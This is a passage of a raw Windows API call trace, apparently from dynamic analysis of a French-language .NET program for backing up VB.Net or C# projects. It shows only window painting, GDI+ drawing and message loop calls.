bForceBkgd=1) returned 0x188000b [0223.359] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0223.359] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0223.359] GetSystemMetrics (nIndex=42) returned 0 [0223.359] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be684, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0223.359] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be684) returned 0x23 [0223.359] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0223.360] EndPaint (hWnd=0x40150, lpPaint=0x2be720) returned 1 [0223.360] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.360] IsWindowUnicode (hWnd=0x10188) returned 1 [0223.360] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.360] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.360] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.360] BeginPaint (in: hWnd=0x10188, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x60106b7 [0223.360] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.360] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0223.361] CreateCompatibleDC (hdc=0x60106b7) returned 0x1a0106a3 [0223.361] GetObjectType (h=0x60106b7) returned 0x3 [0223.362] CreateCompatibleBitmap (hdc=0x60106b7, cx=1, cy=1) returned 0x260506c8 [0223.362] GetDIBits (in: hdc=0x60106b7, hbm=0x260506c8, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x2be1f8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2be1f8) returned 1 [0223.362] GetDIBits (in: hdc=0x60106b7, hbm=0x260506c8, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x2be1f8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2be1f8) returned 1 [0223.362] DeleteObject (ho=0x260506c8) returned 1 [0223.362] CreateDIBSection (in: hdc=0x60106b7, lpbmi=0x2be248, usage=0x0, ppvBits=0x2be73c, hSection=0x0, offset=0x0 | out: ppvBits=0x2be73c) returned 0x1f0506ba [0223.363] SelectObject (hdc=0x1a0106a3, h=0x1f0506ba) returned 0x185000f [0223.363] GdipCreateFromHDC (hdc=0x1a0106a3, graphics=0x2be720) returned 0x0 [0223.363] GdipTranslateWorldTransform (graphics=0x4ae4c00, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0223.363] GdipSetClipRectI (graphics=0x4ae4c00, x=0, y=0, width=139, height=13, combineMode=0x0) returned 0x0 [0223.364] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0223.364] GdipGetWorldTransform (graphics=0x4ae4c00, matrix=0x4ae4ee0) returned 0x0 [0223.364] GdipIsMatrixIdentity (matrix=0x4ae4ee0, result=0x2be780) returned 0x0 [0223.364] GdipGetMatrixElements (matrix=0x4ae4ee0, matrixOut=0x568b70) returned 0x0 [0223.365] LocalFree (hMem=0x568b70) returned 0x0 [0223.365] GdipDeleteMatrix (matrix=0x4ae4ee0) returned 0x0 [0223.365] GdipCreateRegion (region=0x2be768) returned 0x0 [0223.365] GdipGetClip (graphics=0x4ae4c00, region=0x4ae4f10) returned 0x0 [0223.366] GdipIsInfiniteRegion (region=0x4ae4f10, graphics=0x4ae4c00, result=0x2be774) returned 0x0 [0223.366] GdipSaveGraphics (graphics=0x4ae4c00, state=0x2be7a0) returned 0x0 [0223.366] GetWindowTextLengthW (hWnd=0x10188) returned 22 [0223.366] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0223.366] GetSystemMetrics (nIndex=42) returned 0 [0223.366] GetWindowTextW (in: hWnd=0x10188, lpString=0x2be68c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0223.366] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0223.366] GetClientRect (in: hWnd=0x10188, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0223.367] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0223.367] GdipGetClip (graphics=0x4ae4c00, region=0x4ae5200) returned 0x0 [0223.367] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0223.367] GdipGetWorldTransform (graphics=0x4ae4c00, matrix=0x4ae5290) returned 0x0 [0223.367] GdipIsMatrixIdentity (matrix=0x4ae5290, result=0x2be5d4) returned 0x0 [0223.367] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568b70 [0223.367] GdipGetMatrixElements (matrix=0x4ae5290, matrixOut=0x568b70) returned 0x0 [0223.367] LocalFree (hMem=0x568b70) returned 0x0 [0223.368] GdipCombineRegionRegion (region=0x4ae5200, region2=0x4ae4f10, combineMode=0x1) returned 0x0 [0223.368] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568b70 [0223.368] GdipGetMatrixElements (matrix=0x4ae5290, matrixOut=0x568b70) returned 0x0 [0223.368] LocalFree (hMem=0x568b70) returned 0x0 [0223.368] GdipDeleteMatrix (matrix=0x4ae5290) returned 0x0 [0223.368] GdipIsInfiniteRegion (region=0x4ae5200, graphics=0x4ae4c00, result=0x2be5fc) returned 0x0 [0223.368] GdipIsInfiniteRegion (region=0x4ae5200, graphics=0x4ae4c00, result=0x2be5ec) returned 0x0 [0223.368] GdipGetRegionHRgn (region=0x4ae5200, graphics=0x4ae4c00, hRgn=0x2be5ec) returned 0x0 [0223.369] GdipDeleteRegion (region=0x4ae5200) returned 0x0 [0223.369] GdipGetDC (graphics=0x4ae4c00, hdc=0x2be604) returned 0x0 [0223.369] GetCurrentObject (hdc=0x1a0106a3, type=0x1) returned 0x1b00017 [0223.369] GetCurrentObject (hdc=0x1a0106a3, type=0x2) returned 0x1900010 [0223.369] GetCurrentObject (hdc=0x1a0106a3, type=0x7) returned 0x1f0506ba [0223.369] GetCurrentObject (hdc=0x1a0106a3, type=0x6) returned 0x18a002e [0223.369] SaveDC (hdc=0x1a0106a3) returned 1 [0223.369] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1b0401eb [0223.370] GetClipRgn (hdc=0x1a0106a3, hrgn=0x1b0401eb) returned 0 [0223.370] SelectClipRgn (hdc=0x1a0106a3, hrgn=0x1c040789) returned 2 [0223.370] DeleteObject (ho=0x1b0401eb) returned 1 [0223.370] DeleteObject (ho=0x1c040789) returned 1 [0223.370] OffsetViewportOrgEx (in: hdc=0x1a0106a3, x=0, y=0, lppt=0x24ead44 | out: lppt=0x24ead44) returned 1 [0223.370] GetNearestColor (hdc=0x1a0106a3, color=0xf0f0f0) returned 0xf0f0f0 [0223.370] CreateSolidBrush (color=0xf0f0f0) returned 0x1b1006a2 [0223.371] FillRect (hDC=0x1a0106a3, lprc=0x2be608, hbr=0x1b1006a2) returned 1 [0223.371] DeleteObject (ho=0x1b1006a2) returned 1 [0223.371] RestoreDC (hdc=0x1a0106a3, nSavedDC=-1) returned 1 [0223.371] GdipReleaseDC (graphics=0x4ae4c00, hdc=0x1a0106a3) returned 0x0 [0223.371] GdipRestoreGraphics (graphics=0x4ae4c00, state=0xfdb70dbd) returned 0x0 [0223.371] GdipDeleteRegion (region=0x4ae4f10) returned 0x0 [0223.371] GetWindowTextLengthW (hWnd=0x10188) returned 22 [0223.371] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0223.373] GetSystemMetrics (nIndex=42) returned 0 [0223.373] GetWindowTextW (in: hWnd=0x10188, lpString=0x2be68c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0223.373] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0223.374] GdipGetDC (graphics=0x4ae4c00, hdc=0x2be624) returned 0x0 [0223.374] GetCurrentObject (hdc=0x1a0106a3, type=0x1) returned 0x1b00017 [0223.374] GetCurrentObject (hdc=0x1a0106a3, type=0x2) returned 0x1900010 [0223.374] GetCurrentObject (hdc=0x1a0106a3, type=0x7) returned 0x1f0506ba [0223.374] GetCurrentObject (hdc=0x1a0106a3, type=0x6) returned 0x18a002e [0223.374] SaveDC (hdc=0x1a0106a3) returned 1 [0223.374] GetNearestColor (hdc=0x1a0106a3, color=0x0) returned 0x0 [0223.374] RestoreDC (hdc=0x1a0106a3, nSavedDC=-1) returned 1 [0223.374] GdipReleaseDC (graphics=0x4ae4c00, hdc=0x1a0106a3) returned 0x0 [0223.374] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0223.374] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0223.375] GdipGetTextRenderingHint (graphics=0x4ae4c00, mode=0x2be5c4) returned 0x0 [0223.375] GdipGetDC (graphics=0x4ae4c00, hdc=0x2be5b0) returned 0x0 [0223.375] GetCurrentObject (hdc=0x1a0106a3, type=0x1) returned 0x1b00017 [0223.375] GetCurrentObject (hdc=0x1a0106a3, type=0x2) returned 0x1900010 [0223.375] GetCurrentObject (hdc=0x1a0106a3, type=0x7) returned 0x1f0506ba [0223.375] GetCurrentObject (hdc=0x1a0106a3, type=0x6) returned 0x18a002e [0223.375] SaveDC (hdc=0x1a0106a3) returned 1 [0223.376] GetTextAlign (hdc=0x1a0106a3) returned 0x0 [0223.376] GetTextColor (hdc=0x1a0106a3) returned 0x0 [0223.376] GetCurrentObject (hdc=0x1a0106a3, type=0x6) returned 0x18a002e [0223.376] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0223.376] SelectObject (hdc=0x1a0106a3, h=0x90a01e9) returned 0x18a002e [0223.376] GetBkMode (hdc=0x1a0106a3) returned 2 [0223.376] SetBkMode (hdc=0x1a0106a3, mode=1) returned 2 [0223.377] DrawTextExW (in: hdc=0x1a0106a3, lpchText="Arborescence du projet", cchText=22, lprc=0x2be544, format=0x100000, lpdtp=0x24eb270 | out: lpchText="Arborescence du projet", lprc=0x2be544) returned 13 [0223.377] RestoreDC (hdc=0x1a0106a3, nSavedDC=-1) returned 1 [0223.377] GdipReleaseDC (graphics=0x4ae4c00, hdc=0x1a0106a3) returned 0x0 [0223.377] GdipGetDC (graphics=0x4ae4c00, hdc=0x2be760) returned 0x0 [0223.378] BitBlt (hdc=0x60106b7, x=0, y=0, cx=139, cy=13, hdcSrc=0x1a0106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0223.379] GdipReleaseDC (graphics=0x4ae4c00, hdc=0x1a0106a3) returned 0x0 [0223.379] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0223.379] SelectObject (hdc=0x1a0106a3, h=0x185000f) returned 0x1f0506ba [0223.379] DeleteDC (hdc=0x1a0106a3) returned 1 [0223.379] GdipDeleteGraphics (graphics=0x4ae4c00) returned 0x0 [0223.379] EndPaint (hWnd=0x10188, lpPaint=0x2be704) returned 1 [0223.379] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.379] IsWindowUnicode (hWnd=0x1018a) returned 1 [0223.380] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.380] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.380] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.380] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0223.380] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.393] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x14, wParam=0x60106b7, lParam=0x0) returned 0x1 [0223.393] SetTextColor (hdc=0x60106b7, color=0x0) returned 0x0 [0223.393] SetBkColor (hdc=0x60106b7, color=0xffffff) returned 0xffffff [0223.397] SetTextColor (hdc=0x60106b7, color=0x0) returned 0x0 [0223.397] SetBkColor (hdc=0x60106b7, color=0xffffff) returned 0xffffff [0223.401] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.401] IsWindowUnicode (hWnd=0x1018e) returned 1 [0223.401] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.401] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.401] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.401] BeginPaint (in: hWnd=0x1018e, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x60106b7 [0223.401] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.558] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0223.558] CreateCompatibleDC (hdc=0x60106b7) returned 0x33010733 [0223.558] DeleteObject (ho=0x1f0506ba) returned 1 [0223.558] GetObjectType (h=0x60106b7) returned 0x3 [0223.558] CreateCompatibleBitmap (hdc=0x60106b7, cx=1, cy=1) returned 0x280506c8 [0223.558] GetDIBits (in: hdc=0x60106b7, hbm=0x280506c8, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x2be1f8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2be1f8) returned 1 [0223.559] GetDIBits (in: hdc=0x60106b7, hbm=0x280506c8, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x2be1f8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2be1f8) returned 1 [0223.559] DeleteObject (ho=0x280506c8) returned 1 [0223.559] CreateDIBSection (in: hdc=0x60106b7, lpbmi=0x2be248, usage=0x0, ppvBits=0x2be73c, hSection=0x0, offset=0x0 | out: ppvBits=0x2be73c) returned 0x200506ba [0223.559] SelectObject (hdc=0x33010733, h=0x200506ba) returned 0x185000f [0223.559] GdipCreateFromHDC (hdc=0x33010733, graphics=0x2be720) returned 0x0 [0223.559] GdipTranslateWorldTransform (graphics=0x4ae5330, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0223.559] GdipSetClipRectI (graphics=0x4ae5330, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0223.559] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0223.559] GdipGetWorldTransform (graphics=0x4ae5330, matrix=0x4ae5250) returned 0x0 [0223.559] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0223.559] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.559] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568ba8) returned 0x0 [0223.559] LocalFree (hMem=0x568ba8) returned 0x0 [0223.559] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0223.559] GdipCreateRegion (region=0x2be768) returned 0x0 [0223.559] GdipGetClip (graphics=0x4ae5330, region=0x4ae5610) returned 0x0 [0223.559] GdipIsInfiniteRegion (region=0x4ae5610, graphics=0x4ae5330, result=0x2be774) returned 0x0 [0223.560] GdipSaveGraphics (graphics=0x4ae5330, state=0x2be7a0) returned 0x0 [0223.560] GetWindowTextLengthW (hWnd=0x1018e) returned 23 [0223.560] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0223.560] GetSystemMetrics (nIndex=42) returned 0 [0223.560] GetWindowTextW (in: hWnd=0x1018e, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0223.560] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0223.560] GetClientRect (in: hWnd=0x1018e, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0223.560] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0223.560] GdipGetClip (graphics=0x4ae5330, region=0x4ae5900) returned 0x0 [0223.560] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0223.560] GdipGetWorldTransform (graphics=0x4ae5330, matrix=0x4ae5280) returned 0x0 [0223.560] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0223.560] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.560] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.560] LocalFree (hMem=0x568ba8) returned 0x0 [0223.560] GdipCombineRegionRegion (region=0x4ae5900, region2=0x4ae5610, combineMode=0x1) returned 0x0 [0223.560] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.560] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.560] LocalFree (hMem=0x568ba8) returned 0x0 [0223.560] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0223.560] GdipIsInfiniteRegion (region=0x4ae5900, graphics=0x4ae5330, result=0x2be5fc) returned 0x0 [0223.560] GdipIsInfiniteRegion (region=0x4ae5900, graphics=0x4ae5330, result=0x2be5ec) returned 0x0 [0223.560] GdipGetRegionHRgn (region=0x4ae5900, graphics=0x4ae5330, hRgn=0x2be5ec) returned 0x0 [0223.561] GdipDeleteRegion (region=0x4ae5900) returned 0x0 [0223.561] GdipGetDC (graphics=0x4ae5330, hdc=0x2be604) returned 0x0 [0223.561] GetCurrentObject (hdc=0x33010733, type=0x1) returned 0x1b00017 [0223.561] GetCurrentObject (hdc=0x33010733, type=0x2) returned 0x1900010 [0223.561] GetCurrentObject (hdc=0x33010733, type=0x7) returned 0x200506ba [0223.561] GetCurrentObject (hdc=0x33010733, type=0x6) returned 0x18a002e [0223.561] SaveDC (hdc=0x33010733) returned 1 [0223.561] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1d040789 [0223.561] GetClipRgn (hdc=0x33010733, hrgn=0x1d040789) returned 0 [0223.561] SelectClipRgn (hdc=0x33010733, hrgn=0x1e0401eb) returned 2 [0223.561] DeleteObject (ho=0x1d040789) returned 1 [0223.561] DeleteObject (ho=0x1e0401eb) returned 1 [0223.561] OffsetViewportOrgEx (in: hdc=0x33010733, x=0, y=0, lppt=0x24edec4 | out: lppt=0x24edec4) returned 1 [0223.561] GetNearestColor (hdc=0x33010733, color=0xc8c8c8) returned 0xc8c8c8 [0223.561] CreateSolidBrush (color=0xc8c8c8) returned 0x1c1006a2 [0223.561] FillRect (hDC=0x33010733, lprc=0x2be608, hbr=0x1c1006a2) returned 1 [0223.561] DeleteObject (ho=0x1c1006a2) returned 1 [0223.561] RestoreDC (hdc=0x33010733, nSavedDC=-1) returned 1 [0223.561] GdipReleaseDC (graphics=0x4ae5330, hdc=0x33010733) returned 0x0 [0223.561] GdipRestoreGraphics (graphics=0x4ae5330, state=0xfdb50dbd) returned 0x0 [0223.561] GdipDeleteRegion (region=0x4ae5610) returned 0x0 [0223.561] GetWindowTextLengthW (hWnd=0x1018e) returned 23 [0223.561] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0223.562] GetSystemMetrics (nIndex=42) returned 0 [0223.562] GetWindowTextW (in: hWnd=0x1018e, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0223.562] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0223.562] GdipGetDC (graphics=0x4ae5330, hdc=0x2be624) returned 0x0 [0223.562] GetCurrentObject (hdc=0x33010733, type=0x1) returned 0x1b00017 [0223.562] GetCurrentObject (hdc=0x33010733, type=0x2) returned 0x1900010 [0223.562] GetCurrentObject (hdc=0x33010733, type=0x7) returned 0x200506ba [0223.562] GetCurrentObject (hdc=0x33010733, type=0x6) returned 0x18a002e [0223.562] SaveDC (hdc=0x33010733) returned 1 [0223.562] GetNearestColor (hdc=0x33010733, color=0x0) returned 0x0 [0223.562] RestoreDC (hdc=0x33010733, nSavedDC=-1) returned 1 [0223.562] GdipReleaseDC (graphics=0x4ae5330, hdc=0x33010733) returned 0x0 [0223.562] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0223.562] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0223.562] DrawTextExW (in: hdc=0xb0101e5, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x2be530, format=0x102404, lpdtp=0x24ee1a4 | out: lpchText="Repertoire Projet 2 : ", lprc=0x2be530) returned 13 [0223.562] GdipGetTextRenderingHint (graphics=0x4ae5330, mode=0x2be5c4) returned 0x0 [0223.562] GdipGetDC (graphics=0x4ae5330, hdc=0x2be5b0) returned 0x0 [0223.563] GetCurrentObject (hdc=0x33010733, type=0x1) returned 0x1b00017 [0223.563] GetCurrentObject (hdc=0x33010733, type=0x2) returned 0x1900010 [0223.563] GetCurrentObject (hdc=0x33010733, type=0x7) returned 0x200506ba [0223.563] GetCurrentObject (hdc=0x33010733, type=0x6) returned 0x18a002e [0223.563] SaveDC (hdc=0x33010733) returned 1 [0223.563] GetTextAlign (hdc=0x33010733) returned 0x0 [0223.563] GetTextColor (hdc=0x33010733) returned 0x0 [0223.563] GetCurrentObject (hdc=0x33010733, type=0x6) returned 0x18a002e [0223.563] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0223.563] SelectObject (hdc=0x33010733, h=0x90a01e9) returned 0x18a002e [0223.563] GetBkMode (hdc=0x33010733) returned 2 [0223.563] SetBkMode (hdc=0x33010733, mode=1) returned 2 [0223.563] DrawTextExW (in: hdc=0x33010733, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x2be38c, format=0x100404, lpdtp=0x24ee3bc | out: lpchText="Repertoire Projet 2 : ", lprc=0x2be38c) returned 13 [0223.563] DrawTextExW (in: hdc=0x33010733, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x2be544, format=0x100004, lpdtp=0x24ee3bc | out: lpchText="Repertoire Projet 2 : ", lprc=0x2be544) returned 13 [0223.563] RestoreDC (hdc=0x33010733, nSavedDC=-1) returned 1 [0223.563] GdipReleaseDC (graphics=0x4ae5330, hdc=0x33010733) returned 0x0 [0223.564] GdipGetDC (graphics=0x4ae5330, hdc=0x2be760) returned 0x0 [0223.564] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x33010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0223.564] GdipReleaseDC (graphics=0x4ae5330, hdc=0x33010733) returned 0x0 [0223.564] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0223.564] SelectObject (hdc=0x33010733, h=0x185000f) returned 0x200506ba [0223.564] DeleteDC (hdc=0x33010733) returned 1 [0223.564] GdipDeleteGraphics (graphics=0x4ae5330) returned 0x0 [0223.564] EndPaint (hWnd=0x1018e, lpPaint=0x2be704) returned 1 [0223.564] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.564] IsWindowUnicode (hWnd=0x10192) returned 1 [0223.564] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.564] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.564] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.564] BeginPaint (in: hWnd=0x10192, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x100107ec [0223.564] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.565] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0223.565] CreateCompatibleDC (hdc=0x100107ec) returned 0x36010733 [0223.565] SelectObject (hdc=0x36010733, h=0x200506ba) returned 0x185000f [0223.565] GdipCreateFromHDC (hdc=0x36010733, graphics=0x2be720) returned 0x0 [0223.565] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0223.565] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0223.565] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0223.565] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0223.565] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0223.565] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.565] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568ba8) returned 0x0 [0223.566] LocalFree (hMem=0x568ba8) returned 0x0 [0223.566] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0223.566] GdipCreateRegion (region=0x2be768) returned 0x0 [0223.566] GdipGetClip (graphics=0x4ae5320, region=0x4ae5600) returned 0x0 [0223.566] GdipIsInfiniteRegion (region=0x4ae5600, graphics=0x4ae5320, result=0x2be774) returned 0x0 [0223.566] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0223.566] GetWindowTextLengthW (hWnd=0x10192) returned 23 [0223.566] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0223.566] GetSystemMetrics (nIndex=42) returned 0 [0223.566] GetWindowTextW (in: hWnd=0x10192, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0223.566] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0223.566] GetClientRect (in: hWnd=0x10192, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0223.566] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0223.566] GdipGetClip (graphics=0x4ae5320, region=0x4ae58f0) returned 0x0 [0223.566] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0223.566] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0223.566] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0223.566] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.566] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.566] LocalFree (hMem=0x568ba8) returned 0x0 [0223.566] GdipCombineRegionRegion (region=0x4ae58f0, region2=0x4ae5600, combineMode=0x1) returned 0x0 [0223.566] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568ba8 [0223.566] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568ba8) returned 0x0 [0223.566] LocalFree (hMem=0x568ba8) returned 0x0 [0223.566] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0223.566] GdipIsInfiniteRegion (region=0x4ae58f0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0223.567] GdipIsInfiniteRegion (region=0x4ae58f0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0223.567] GdipGetRegionHRgn (region=0x4ae58f0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0223.567] GdipDeleteRegion (region=0x4ae58f0) returned 0x0 [0223.567] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0223.567] GetCurrentObject (hdc=0x36010733, type=0x1) returned 0x1b00017 [0223.567] GetCurrentObject (hdc=0x36010733, type=0x2) returned 0x1900010 [0223.567] GetCurrentObject (hdc=0x36010733, type=0x7) returned 0x200506ba [0223.567] GetCurrentObject (hdc=0x36010733, type=0x6) returned 0x18a002e [0223.567] SaveDC (hdc=0x36010733) returned 1 [0223.567] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1f0401eb [0223.567] GetClipRgn (hdc=0x36010733, hrgn=0x1f0401eb) returned 0 [0223.567] SelectClipRgn (hdc=0x36010733, hrgn=0x21040789) returned 2 [0223.567] DeleteObject (ho=0x1f0401eb) returned 1 [0223.567] DeleteObject (ho=0x21040789) returned 1 [0223.567] 